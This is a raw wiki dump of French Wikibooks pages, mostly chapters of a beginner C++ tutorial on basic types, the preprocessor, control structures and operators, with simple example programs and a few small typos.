important.png|32px|]] </div> '''La licence de cette image n'est pas définie ou il lui manque des informations (source, auteur etc.)'''. <p>Si vous connaissez la licence et/ou la source, merci de les préciser ou de remplacer cette image par une compatible avec wikilivres(voir [[Wikilivres:Règles d'utilisation des images|les règles d'utilisation des images]] et [[Wikilivres:Quelle licence utiliser|Quelle licence utiliser]] pour plus de détails sur les licences disponibles).</p> <span style="color: red; font-weight: bold">Si les informations manquantes ne sont pas précisées rapidement, cette image sera supprimée.</span> </div> [[Catégorie:Image à licence inconnue]] Modèle:CategoryTOC 6922 31831 2006-02-07T00:44:19Z Boly38 136 redirect #redirect [[Modèle:Sommaire compact catégorie]] Modèle:Sommaire compact catégorie 6923 31832 2006-02-07T00:44:47Z Boly38 136 import depuis [[w:Modèle:Sommaire compact catégorie]] {|class="toc plainlinks" align="center" cellspacing="2" cellpadding="1" style="background-color:#EEEEEE;border:1px solid #AAAAAA;border-right-width:2px;border-bottom-width:2px;text-align:center;font-size:11px;" |- !valign="middle" style="background-color:#CCCCFF;"|Accès direct dans l'index alphabétique de la catégorie |- |[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}}} Retour au début]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=0}} 0-9]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=A}} A]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=B}} B]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=C}} C]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=D}} D]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=E}} E]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=F}} F]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=G}} G]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=H}} H]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=I}} &#160;I&#160;]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=J}} J]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=K}} K]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=L}} L]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=M}} M]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=N}} N]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=O}} O]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=P}} P]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=Q}} Q]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=R}} R]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=S}} S]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=T}} T]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=U}} U]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=V}} V]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=W}} W]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=X}} X]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=Y}} Y]·[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|from=Z}} Z] |} Catégorie:Image GNU 6924 31833 2006-02-07T00:45:45Z Boly38 136 import depuis [[w:Catégorie:Image GNU]] {{Commons|Category:GNU licenses|Catégorie:Licences GNU}} Les images suivantes sont sous la licence GNU. [[catégorie:Image libre]] Programmation C plus plus Les types de base et les déclarations 6925 42722 2006-05-18T09:45:09Z 141.83.146.116 /* Les types entiers */ {{Programmation C++}} == Déclarations, types et identificateurs== === Les variables=== Comme la plupart des langages de programmation le C++ utilise la notion de variable. Une variable peut être vue comme une zone de la mémoire qui comprend une certaine valeur. === Les types en C++ et les systèmes de représentation === le langage C++ impose en mécanisme de type pour indiquer la nature des données contenues dans un variable. Ainsi un double permettra de stocker un réel et un int permettra de stocker un entier. Par contre, il ne définit pas de système de représentation pour représenter ces variables. Ainsi, le standard ne spécifie pas comme on représente un double sous la forme d'une suite de bits. Le système de représentation utilisé peut donc varier entre 2 ordinateurs ou en fonction du compilateur utilisé. Cette particularité peur parfois poser de graves problèmes de portabilité d'un programme. ===Les déclarations=== Toute variable en C++ doit être déclarée : la déclaration indique l'identificateur de la variable (son nom) et sa nature (son type).<br/> '''Syntaxe :'''<br/> ''type identificateur ; '' <br/> '''Exemple :'''<br/> int a;<br/> Cette déclaration défini une variable d'identificateur a qui contient un entier de type int. ===Identificateurs valides=== Un identificateur est une suite de caractères (pouvant être majuscules ou minuscules), de chiffres ou d'underscores ( underscore ou "tiret bas" est le caractère _ ). Cette suite ne peut pas commencer par un chiffre. Un identificateur ne peut contenir ni espace, ni tiret - (utilisé pour l'opération moins).<br/> === Les types entiers === Le langage C++ possède plusieurs types de base pour désigner un entier. *''' int ''' : contient un entier de taille normale, positif ou négatif. *''' short int ''' : contient un entier de petite taille, positif ou négatif. *''' long int ''' : contient un entier de grande taille, positif ou négatif. *''' unsigned int ''' : contient un entier de taille normale, positif ou nul. *''' unsigned short int ''' : contient un entier de petite taille, positif ou nul. *''' unsigned long int ''' : contient un entier de grande normale, positif ou nul. <br/> La longueur d'un long int , d'un int et d'un short int n'est pas spécifié par le langage. Plus un entier est représenté sur un grand nombre de bits, plus il pourra être grand. Ainsi, il est usuel de représenter un int sur 32 bits : il peut alors représenter n'importe quel entier entre -2<sup>31</sup> et 2<sup>31</sup>-1. le langage impose juste que la taille d'un long int doit être supérieure ou égale à celle d'un int et que la taille d'un int doit être supérieure ou égale à celle d'un short int !<br/> Le système de représentation utilisé non plus. En général, la base 2 est utilisée pour les types unsigned int, unsigned long int et unsigned short int et le complément à 2 est utilisé pour les types int, long int et short int. Ce n'est toutefois nullement obligatoire.<br/> '''Interprétation des constantes entières'''<br/> * si une constante commence par 0x, elle sera interprétée comme une valeur en hexadécimal (base 16). * si une constante commence par 0 suivi d'un chiffre, elle sera interprétée comme en octal (base 8). * dans le cas contraire, elle sera interprétée comme étant en base 10. '''Exemples : ''' <br/> 98 représente 98 en base 10.<br/> 0x62 représente 98 en hexadécimal (6*16+2). <br/> 0142 représente 92 en octal (1*64+4*8+2). <br/> <br/> * si une constante entière se termine par un U, elle sera interprétée comme étant un unsigned. * si une constante entière se termine par un L, elle sera interprétée comme un long. '''Exemples''' * 78U représente le unsigned int valant 78. * 78L représente le long int valant 78. === Les types réels === Pour représenter un réel, il existe 3 types de base : * float (simple précision) * double (double précision) * long double (précision étendue) Le langage ne précise pas ni le système de représentation, ni la précision de ces différents formats. Le type long double est juste sensé être plus précis que le double, lui-même plus précis que le float.<br/> Il est toutefois usuel (mais non obligatoire) de représenter le float sur 32 bits dans le format IEEE 754 simple précision et le double sur 64 bits dans le format IEEE 754 double précision.<br/><br/> '''Interprétation des constantes réelles '''<br/> * On peut écrire un réel sous la forme 1.87 ou .56 ou 8. ou 7.6e10 ou encore 5.4e-3. * Une constante qui se termine par un f ou un F sera interprétée comme un float. * Une constante qui se termine par un l ou un L sera interprétée comme un long double. '''Exemples :''' * 3.65L représente le long double valant 3.65. * 3.65F représente le float valant 3.65. ===Les caractères=== *'''Le type char'''<br/> Il s'agit du type usuel pour représenter un caractère. Aucun système de représentation n'est imposé pour les caractères et on utilise en général des dérivés du code ASCII. Un caractère doit juste être codé sur au moins 8 bits. Il est assez usuel toutefois d'utiliser exactement 8 bits pour représenter un char.<br/> '''Exemple :'''<br/> char c;<br/> c='E';<br/> Le caractère E est transféré dans la variable c de type char .<br/> On peut transférer un char dans un int pour récupérer son codage.<br/> Ainsi, on peut écrire : <br/> int a; <br/> char b;<br/> b='W';<br/> a=b;<br/> On récupère alors dans a le codage du caractère 'W'. On récupérera donc en général le code ASCII de 'W' dans la variable b. * '''Les types signed char et unsigned char'''<br/> Lorsqu'on transfère un char dans un int, peut-on récupérer une valeur négative ? La réponse est oui si on utilise le type '''signed char''' et non si on utilise le type '''unsigned char'''. Ces types peuvent être utile losqu'on manipule des caractères non ASCII. === Les booléens === Le C++ utilise le type '''bool''' pour représenter une variable booléenne. Un bool ne peut prendre que 2 valeurs : true ou false. On peut affecter à un bool le résultat d'une condition.<br/> '''Exemple : ''' <br/> bool a; <br/> int c; <br/> c=89; <br/> a=(c>87); <br/> a reçoit alors la valeur true. ===L'opérateur sizeof=== L'opérateur sizeof permet de savoir le nombre d'octets qu'occupe en RAM une certaine variable. On peut écrire ''sizeof(a)'' pour savoir le nombre d'octets occupé par la variable a. On peut aussi écrire, ''sizeof(int)'' pour connaître le nombre d'octets occupés par une variable de type int. Cet opérateur est très utile lorsqu'on veut résoudre des problèmes de portabilité d'un programme. Modèle:Programmation C++ 6926 37544 2006-03-14T09:09:30Z Merrheim 1032 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Programmation C plus plus|Programmation C++]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ ]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small>[[Programmation C plus plus Avant propos|Avant-propos]]</small> *<small>[[Programmation C plus plus Introduction|Introduction]]</small> *<small>[[Programmation C plus plus Compilation|Compilation]]</small> *<small>[[Programmation C plus plus Un premier programme|Un premier programme]]</small> *<small>[[Programmation C plus plus Le préprocesseur|Le préprocesseur]]</small> *<small>[[Programmation_C_plus_plus_Les_types_de_base_et_les_d%C3%A9clarations| Les types et les déclarations]]</small> *<small>[[Programmation_C_plus_plus_Les_opérations_de_base| Les opérations de base]]</small> *<small>[[Programmation C plus plus Les pointeurs|Les pointeurs]]</small> *<small>[[Programmation C plus plus Les références|Les références]]</small> *<small>[[Programmation C plus plus Les tableaux|Les tableaux]]</small> *<small>[[Programmation_C_plus_plus_Les_structures_de_controles| Les structures de contrôle]]</small> *<small>[[Programmation C plus plus Les fonctions|Les fonctions]]</small> *<small>[[Programmation C plus plus Les structures|Les structures]]</small> * <small> [[Programmation_C_plus_plus_Les_classes_en_C_plus_plus| Les classes]]</small> *<small>[[Programmation C plus plus Exceptions|Exceptions]]</small> *<small>[[Programmation C plus plus Les templates|Les templates]]</small> *<small>[[Programmation C plus plus La librairie standard|La librairie standard]]</small> *<small>[[Programmation C plus plus Interfaces graphiques|Interfaces graphiques]]</small> *<small>[[Programmation C plus plus Bibliographie et liens|Bibliographie et liens]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small> [[ Exercices en langage C++]]</small> * <small> [[Programmation C++ (débutant)]]</small> *<small>[[Interfaces graphiques en C++ avec wxWidget|IHM en C++ avec wxWidget]]</small> *<small>[[Programmation C]]</small> *<small>[[Exercices en langage C]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%E8le:Programmation%20C%252B%252B&action=edit Modifier ce modèle]</small> |} Programmation C plus plus Le préprocesseur 6929 44035 2006-06-06T19:19:58Z 86.71.141.25 ortho {{Programmation C++}} == Le préprocesseur== Avant de compiler le programme, il est possible d'effectuer certaines modifications sur le code source. Le programme effectuant ces modifications s'appelle le préprocesseur. Les commandes destinées au préprocesseur commencent toutes par # en début de ligne. ===Inclusion de fichiers === Pour inclure un fichier à un certain endroit dans le fichier source, on écrit :<br/> <nowiki>#include "nom_du_fichier" </nowiki><br/> Le contenu du fichier nom_du_fichier est alors inséré dans le fichier source.<br/> Le nom du fichier peut être écrit entre guillemets "nom_du_fichier" ou entre chevrons <nom_du_fichier>. Dans le premier cas, cela signifie que le fichier a été écrit par le programmeur et qu'il se trouve dans le même dossier que le fichier source, dans le deuxième cas, il s'agit d'un fichier écrit par l'éditeur du compilateur.<br/> '''Exemple : '''<br/> <nowiki>#include <iostream></nowiki><br/> Le fichier C++ standard iostream est inclus à cet endroit-là dans le code. Il contient la définition de certains objets standards notamment cin et cout. === #define=== La directive #define permet de remplacer toutes les occurrences d'un certain mot par un autre. Par exemple :<br/> ''#define N 1143''<br/> Sur cet exemple toutes les occurrences de N seront remplacées par 1143. Cela est parfois utilisé pour définir des constantes. On préférera toutefois utiliser le mot-clé const.<br/> On peut très bien ne pas fixer de valeur et écrire : ''#define PLATEFORME_INTEL''<br/> La variable de compilation ''PLATEFORME_INTEL'' est ici définie. Combiné à ''#ifdef'', on pourra inclure des bouts de codes à certains endroit du programme. ===#ifdef, #ifndef, #endif et #else=== ====Présentation==== * La directive ''#ifdef'' permet d'inclure toute une série de lignes du programme si une variable de compilation a précédemment été définie (par la directive #define). La directive ''#endif'' indique la fin de la partie de code à inclure. La partie du programme incluse sera toute la partie comprise entre le ''#ifdef'' et le prochain ''#endif''. * La directive ''#ifndef'' permet d'inclure un bout de programme si une variable de compilation n'est '''pas''' définie. C'est donc l'inverse de ''#ifdef''. La fin de la partie à inclure est déterminée également par #endif. * Chacune de ces conditions peut être accompagné d'un #else qui permet d'inclure un bout de programme si la condition n'est pas vérifiée. * Il ne faut pas abuser de ces directives et elles sont surtout utilisées : ** pour gérer des problèmes de portabilité. ** au début des fichiers headers. ** dans les fichiers headers de DLL sous Windows. ====Exemples==== *'''Exemple 1'''<br/> <pre> #include <iostream> using namespace std; #define FRENCH int main() { #ifdef FRENCH cout<<"BONJOUR"; #else cout<<"HELLO"; #endif return 0; } </pre> Dans ce programme, il suffit d'effacer #define FRENCH et de recompiler le programme pour passer d'une version française à une version anglaise. Ceci pourrait être utile si le programme comporte 10 000 lignes (ce qui est faible pour un programme réel). Bien évidemment, il existe bien d'autres façons de gérer le multilinguisme en C++. *'''Exemple 2'''<br/> '''Fichier toto.h'''<br/> <pre> #ifndef TOTO_H #define TOTO_H ... écrire ici les prototypes #endif </pre> '''Le problème : ''' <br/> Imaginons qu'un fichier header '''toto.h''' contienne le prototype d'une certaine classe ou d'une fonction. Imaginons que le programme contiennent 3 autres fichiers headers nommés A.h, B.h et C.h qui on tout 3 besoin des prototypes inclus dans toto.h, ces 3 fichiers vont commencer par ''#include"toto.h"''. Imaginons également que C.h a besoin des prototypes inclus dans A.h et B.h. C.h va donc commence par ''#include"A.h"'' et ''#include"B.h"''. Le problème est que le fichier ''toto.h'' va être inclus plusieurs fois. Le compilateur va alors refuser de compiler le programme en indiquant que plusieurs prototypes d'une même fonction sont inclus.<br/> '''Solution : ''' <br/> Pour résoudre l'inclusion multiple de fichier headers (inévitable), on va faire commencer le fichier header par ''#ifndef TOTO_H ''et il se termine par ''#endif''. Si la variable de compilation ''TOTO_H'' n'est défini, alors le header sera inclus, sinon, il sera tout simplement vide. Juste après ''#ifndef TOTO_H'', nous allons écrire #define ''TOTO_H'' définissant justement cette variable de compilation ''TOTO_H''. La première fois que le header sera inclus, ''TOTO_H'' n'est pas défini, le header normal sera donc inclus. ''#define TOTO_H'' définira alors la variable de compilation ''TOTO_H''. La deuxième fois que ce même header sera inclus, et les fois suivantes, ''TOTO_H'' sera défini et par conséquent, le header sera vide. les prototypes n'auront donc été inclus qu'une seule fois. Le tour est joué. Il faut donc faire commencer systèmatiquement (c'est tout du moins conseillé) tous les fichiers header par les 2 lignes ''#ifndef ...'' et ''#define ...'' et les faire se terminer par ''#endif''. === Les macros=== ====Présentation==== Les macros sont des ''#define'' particulier parce qu'ils contiennent des paramètres. Ainsi si vous écrivez : <br/> <nowiki>#define AFFICHE(x) cout<<x<<endl;</nowiki></br/> Alors vous pouvez écrire AFFICHE("BONJOUR") et le préprocesseur modifiera cette ligne et la transformera en cout<<"BONJOUR"<<endl;. Il y aura substitution de x par "BONJOUR". Il ne faut pas abuser des macros et très souvent l'utilisation de fonctions, notamment les fonctions inline, est préférable. ====Exemple==== <pre> #include <iostream> using namespace std; #define AFFICHER(x) cout<<x<<endl; int main() { AFFICHER("BONJOUR") return 0; } </pre> Programmation C plus plus Les structures de controles 6930 45175 2006-06-18T20:14:36Z 82.124.70.253 /* le break */ {{Programmation C++}} == Le if== Cette structure de contrôle permet d'exécuter une instruction ou une suite d'instructions seulement si une condition est vraie. ===Syntaxe : === <pre> if(condition) instruction; </pre> ===Sémantique : === On évalue la condition : <br/> - si elle est vraie on exécute l’instruction et on passe à l ’instruction suivante. <br/> - si elle est fausse on passe directement à l ’instruction suivante. <br/> L ’instruction peut être remplacée par une suite d ’instructions entre accolades ===Exemple :=== <pre> #include <iostream> using namespace std; int main() { int a; cout << "Tapez la valeur de a : "; cin >> a; if (a > 10) cout << "a est plus grand que 10" << endl; cout << "Le programme est fini" << endl; return 0; } </pre> Ce programme demande à l'utilisateur de taper un entier a. Si a est strictement plus grand que 10, il affiche "a est plus grand que 10". Dans le cas contraire, il n'affiche rien.<br/> '''Exécution 1 : <br/> Tapez la valeur de a : '''12''' <br/> a est plus grand que 10 <br/> '''Exécution 2 : <br/> Tapez la valeur de a : '''8''' <br/> ==Le if...else== Cette structure de contrôle permet d'exécution soit l'instruction1, soit l'instruction 2 en fonction du résultat d'une condition. ===Syntaxe === <pre> if(condition) instruction1; else instruction2; </pre> ===Sémantique=== * On évalue la condition, ** si elle est vraie, on exécute l ’instruction1 et on passe à l ’instruction suivante ** si elle est fausse, on exécute l ’instruction2 et on passe à l ’instruction suivante * L’instruction1 ou l ’instruction2 peuvent être remplacées par une suite d ’instructions entre accolades . ===Exemple : === <pre> #include <iostream> using namespace std; int main() { int a; cout << "Tapez la valeur de a : "; cin >> a; if (a > 10) cout << "a est plus grand que 10" << endl; else cout << "a est plus inférieur ou égal à 10" << endl; return 0; } </pre> Ce programme demande à l'utilisateur de taper un entier a. Si a est strictement plus grand que 10, il affiche "a est plus grand que 10". Dans le cas contraire, il affiche "a est plus inférieur ou égal à 10" .<br/> '''Exécution 1 : <br/> Tapez la valeur de a : '''12''' <br/> a est plus grand que 10 <br/> '''Exécution 2 : <br/> Tapez la valeur de a : '''8'''<br/> "a est plus inférieur ou égal à 10" <br/> ==Le switch== ===Syntaxe=== <pre> switch(identificateur) { case c1:instruction1; break; case c2:instruction2;break; case c3:instruction3;break; ... default: instruction;break; } </pre> ===Sémantique=== On teste la variable définie par l'identificateur. On la compare successivement aux constantes c1, c2, c3,…etc… Si la variable vaut c1 alors on exécute l’instruction1 et on passe à l’instruction suivante. Si elle vaut c2, on exécute l'instruction2 et on passe à l’instruction suivante. Idem s'il vaut c3. Si elle ne vaut ni c1, ni c2, ni c3 alors on exécute l'instruction après default et on passe à l’instruction suivante. Le default est facultatif. On peut remplacer les instructions instruction1, instruction2, instruction3 par des suites d'instructions sans mettre d'accolades. Les valeurs c1, c2,c3 .. sont obligatoirement des constantes. ===Exemple=== <pre> #include <iostream> using namespace std; int main() { int a; cout << "Tapez la valeur de a : "; cin >> a; switch(a) { case 1 : cout<<"a vaut 1"<<endl; break ; case 2 : cout<<"a vaut 2"<<endl; break ; case 3 : cout<<"a vaut 3"<<endl; break ; default : cout<<"a ne vaut ni 1, ni 2, ni 3"<<endl; break ; } return 0; } </pre> Ce programme demande à l'utilisateur de taper une variable a. On tete ensuite la valeur de a : en fonction de cette valeur on affiche respectivement les messages "a vaut 1" , ou "a vaut 2" , ou "a vaut 3" ,ou "a ne vaut ni 1, ni 2, ni 3".<br/> '''Exécution 1 :'''<br/> Tapez la valeur de a : '''1'''<br/> a vaut 1<br/> '''Exécution 2 :'''<br/> Tapez la valeur de a : '''2'''<br/> a vaut 2<br/> '''Exécution 3 :'''<br/> Tapez la valeur de a : '''3'''<br/> a vaut 3<br/> '''Exécution 4 :'''<br/> Tapez la valeur de a : '''11'''<br/> a vaut ne vaut ni 1, ni 2, ni 3<br/> <br/> ==Le for== Le for est une structure de contrôle qui permet de répéter un certain nombre de fois une partie d'un programme. ===Syntaxe === <pre> for(instruction1; condition; instruction2) instruction3; </pre> ===Sémantique=== * on exécute l’instruction1. * On teste la condition : ** si elle est vraie, on exécute l’instruction3, puis l’instrution2 puis on revient au 2). ** si elle est fausse on passe à l’instruction suivante. * L’instruction3 peut être une suite d ’instructions entre accolades. ===Exemple=== <pre> #include <iostream> using namespace std; int main() { int i; for(i=0;i<10;i=i+1) cout<<"BONJOUR"<<endl; return 0; } </pre> <br/> ==Le while == ===Syntaxe : === <pre> while(condition)instruction; </pre> ===Sémantique=== 1) On teste la condition :<br/> 2) si elle est vraie, on exécute l’instruction puis on recommence au 1).<br/> 3) si elle est fausse, on passe à l’instruction suivante.<br/> L’instruction peut être une suite d ’instructions entre accolades. ===Exemple de programme=== <pre> #include <iostream> using namespace std; int main() { int i=0; while(i<10) { cout<<"La valeur de i vaut : "<<i<<endl; i++; } cout<<"La valeur finale de i vaut : "<<i<<endl; return 0; } </pre> '''Exécution :'''<br/> La valeur de i est : 0 <br/> La valeur de i est : 1 <br/> La valeur de i est : 2 <br/> La valeur de i est : 3 <br/> La valeur de i est : 4 <br/> La valeur de i est : 5 <br/> La valeur de i est : 6 <br/> La valeur de i est : 7<br/> La valeur de i est : 8<br/> La valeur de i est : 9 <br/> La valeur finale de i est : 10 <br/> '''Explications '''<br/> La variable i est initialisée à 0. <br/> A chaque étape, à la fin du corps du while, on incrémente i de 1. <br/> On exécute donc le corps du while la première fois avec i valant 0, la dernière fois avec i valant 9. <br/> Lorsqu’on sort du while i vaut 10. <br/> <br/> ==Le do ... while== ==='''Syntaxe=== <pre> do {instruction; } while(condition); </pre> ===Sémantique === 1) on exécute l’instruction.<br/> 2) on évalue la condition.<br/> 3) si elle est vraie, on recommence au 1.<br/> 4) si elle est fausse, on passe à l ’instruction suivante.<br/> ===Exemple=== <pre> #include <iostream> using namesapce std; int main() { int i=0; do { cout<<"La valeur de i vaut : "<<i<<endl; i=i+1; }while(i<10); cout<<"La valeur finale de i est "<<i<<endl; return 0; } </pre> '''Exécution : ''' La valeur de i vaut : 0 <br/> La valeur de i vaut : 1 <br/> La valeur de i vaut : 2 <br/> La valeur de i vaut : 3 <br/> La valeur de i vaut : 4 <br/> La valeur de i vaut : 5 <br/> La valeur de i vaut : 6 <br/> La valeur de i vaut : 7 <br/> La valeur de i vaut : 8 <br/> La valeur de i vaut : 9 <br/> La valeur finale de i est : 10 <br/> <br/> ==Le goto== Le goto est une structure de contrôle obsolète et ne doit plus être utilisé. == le break== le break sert à "casser" ou interrompre une boucle (for, while et do), ou un switch. ===Syntaxe === <pre> break; </pre> ===Sémantique=== * Sort de la boucle (ou du switch) la plus imbriquée. ===Exemple === <pre> #include <iostream> using namespace std; int main() { for (int i=0; i<10; i++) { cout << "La variable i vaut: " << i << endl; if (i == 5) break; } return 0; } </pre> Ce programme interrompt sa boucle lors de la sixième itération.<br/> '''Exécution:<br/> La variable i vaut: 0<br/> La variable i vaut: 1<br/> La variable i vaut: 2<br/> La variable i vaut: 3<br/> La variable i vaut: 4<br/> La variable i vaut: 5<br/> <br/> ===Note importante=== Le break rend le code difficile à lire, à l'exception de son utilisation dans un switch, il ne doit pas être utilisé (au même titre que le goto). Programmation C plus plus Les opérations de base 6931 42375 2006-05-15T17:30:59Z 194.199.165.10 /* Le NON logique bit à bit */ {{Programmation C++}} Les C++ possède un grand nombre d'opérateurs de base effectuant entre autre des opérations arithmétiques et capables de travailler sur les entiers, les réels, etc... Nous allons présenter ici ces principaux opérateurs. ==L'affectation== ===Syntaxe=== ''identificateur=expression'' ===Sémantique=== On commence par évaluer l'expression et on met le résultat dans la variable ''identificateur''. ===Exemple === <pre> #include <iostream> using namespace std; int main() { int a,b,s; cout<<"Tapez la valeur de a : ";cin>>a; cout<<"Tapez la valeur de b : ";cin>>b; s=a+b; cout<<"La somme a+b vaut : "<<s<<endl; return 0; } </pre> '''Exécution :'''<br/> Tapez la valeur de a : '''45'''<br/> Tapez la valeur de b : '''67'''<br/> La somme a+b vaut 112<br/> '''Explications : ''' dans ce programme, on déclare 3 variables a, b et c. On demande à l'utilisateur du programme de taper la valeur de a puis la valeur de b. '''cout''' sert à l'affichage à l'écran et '''cin''' à la saisie au clavier. Le programme calcule ensuite dans la variable s la somme a+b. On affiche finalement la valeur de s. <br/> ===Remarque=== Pour effectuer un test de comparaison, par exemple comparer a à 53, il ne faut pas écrire '''if(a=53)''' mais '''if(a==53) ''' en utilisant 2 fois le symbole =. Un bug classique ! ==Opérations arithmétiques== === sur les entiers=== On peut effectuer les opérations arithmétiques usuelles sur les entiers en utilisant les opérateurs +, -, / et *. Il faut juste avoir en tête que la division sur les entiers effectue une troncature. Le modulo s'obtient en utilisant l'opérateur %. Ainsi a%b désigne le reste de la division de a par b. On peut utiliser les parenthèses pour fixer l'ordre d'évaluation des expressions. On peut aussi utiliser l'opérateur ++ pour incrémenter une varaible de 1. L'opérateur --, quant à lui, décrémente une variable de 1. === sur les réels=== Sur les réels, on utilise les opérateurs +, -, * et divisé pour effectuer les 4 opérations de bases. Il faut avoir en tête que toute opérations sur les réels est entâchée d'un minuscule erreur de calcul : il s'agit d'un arrondi sur le dernier bit. Si on effectue de nombreux calcul, cette erreur peut s'amplifier est devenir extrêmement grande. Les fonctions mathématiques habituelles sont présentes dans la bibliothèque standard cmath. ===Exemple=== <pre> #include <iostream> using namespace std; int main() { int a,b,M; cout<<"Tapez la valeur de a : ";cin>>a; cout<<"Tapez la valeur de b : ";cin>>b; M=(a+3)*(6+a)+(b-5)*2; cout<<"M vaut : "<<M<<endl; return 0; } </pre> '''Exécution :'''<br/> Tapez la valeur de a : '''1'''<br/> Tapez la valeur de b : '''2'''<br/> M vaut 22<br/> == Opérations bit à bit == ===Les décalages === Les décalages permettent de décaler vers la droite ou vers la gauche toute la représentation en binaire d'une variable d'un certain nombre de bits. *'''Syntaxe 1 : '''<br/> ''identificateur<<d'' *'''Syntaxe 2 : '''<br/> ''identificateur>>d'' *'''Sémantique 1 '''<br/> Décale la valeur de d bits vers la gauche. *'''Sémantique 2 '''<br/> Décale la valeur de d bits vers la droite. *'''Exemple''' <pre> #include <iostream> using namespace std; int main() { int a=5; int b; b=a<<3; cout<<"b vaut : "<<b<<endl; return 0; } </pre> '''Exécution : '''<br/> b vaut 40 === Le ET logique bit à bit=== *'''Syntaxe : '''<br/> ''exp1&exp2'' *'''Sémantique'''<br/> Le résultat est obtenu est faisant un ET logique sur chaque bit de la représentation de exp1 avec le bit correspondant de la représentation de exp2. *'''Exemple''' <pre> #include <iostream> using namespace std; int main() { int a=37; int b=167; int c=a&b; cout<<"c vaut "<<c<<endl; return 0; } </pre> '''Exécution'''<br/> c vaut 37 <pre> 53 s'écrit en binaire 0000 0000 0000 00000 0000 0000 0011 0101 167 s'écrit en binaire 0000 0000 0000 00000 0000 0000 1010 0111 ET logique bit à bit 0000 0000 0000 00000 0000 0000 0010 0101 ==> le résultat vaut 37 en décimal </pre> === Le OU logique bit à bit=== *'''Syntaxe : '''<br/> ''exp1|exp2'' *'''Sémantique'''<br/> Le résultat est obtenu est faisant un OU logique sur chaque bit de la représentation de exp1 avec le bit correspondant de la représentation de exp2. *'''Exemple''' <pre> #include <iostream> using namespace std; int main() { int a=53; int b=167; int c=a|b; cout<<"c vaut "<<c<<endl; return 0; } </pre> '''Exécution'''<br/> c vaut 183 <pre> 53 s'écrit en binaire 0000 0000 0000 00000 0000 0000 0011 0101 167 s'écrit en binaire 0000 0000 0000 00000 0000 0000 1010 0111 ET logique bit à bit 0000 0000 0000 00000 0000 0000 1011 0111 ==> le résultat vaut 183 en décimal </pre> === Le OU exclusif bit à bit=== *'''Syntaxe : '''<br/> ''exp1^exp2'' *'''Sémantique'''<br/> Le résultat est obtenu est faisant un OU exclusif sur chaque bit de la représentation de exp1 avec le bit correspondant de la représentation de exp2. *'''Exemple''' <pre> #include <iostream> using namespace std; int main() { int a=53; int b=167; int c=a^b; cout<<"c vaut "<<c<<endl; return 0; } </pre> '''Exécution'''<br/> c vaut 146 <pre> 53 s'écrit en binaire 0000 0000 0000 00000 0000 0000 0011 0101 167 s'écrit en binaire 0000 0000 0000 00000 0000 0000 1010 0111 ET logique bit à bit 0000 0000 0000 00000 0000 0000 1001 0010 ==> le résultat vaut 146 en décimal </pre> === Le NON logique bit à bit=== *'''Syntaxe : '''<br/> ''~exp'' *'''Sémantique'''<br/> Le résultat est obtenu en inversant tous les bits de la représentation de exp. * '''Exemple'''<br/> <pre> #include <iostream> using namespace std; int main() { int a=53; int b=~a; cout<<"b vaut "<<b<<endl; return 0; } </pre> '''Exécution'''<br/> b vaut -54 <pre> 53 s'écrit en binaire 0000 0000 0000 0000 0000 0000 0011 0101 NON logique bit à bit 1111 1111 1111 1111 1111 1111 1100 1010 ==> le résultat vaut -54 en décimal </pre> == Opérations booléennes== ===Comparaisons usuelles=== Les comparaissons usuelles s'effectuent selon la syntaxe ''a symbole b'' avec ''symbole qui désigne le test effectué.<br/> Le symbole > désigne le test strictement ''supérieur à''. <br/> Le symbole >= désigne le test supérieur ou ''égal à''. <br/> Le symbole < désigne le test strictement ''inférieur à''. <br/> Le symbole <= désigne le test inférieur ou ''égal à''. <br/> Le symbole == désigne le test d'égalité. <br/> Le symbole != désigne le test différent.<br/> === Le ET logique=== *'''Syntaxe :'''<br/> ''condition1 && condition2'' *'''Sémantique'''<br/> Le ET logique est vrai si à la fois les condition1 et condifition2 sont vraies. Il est faux dans le cas contraire. ===Le OU logique=== *'''Syntaxe 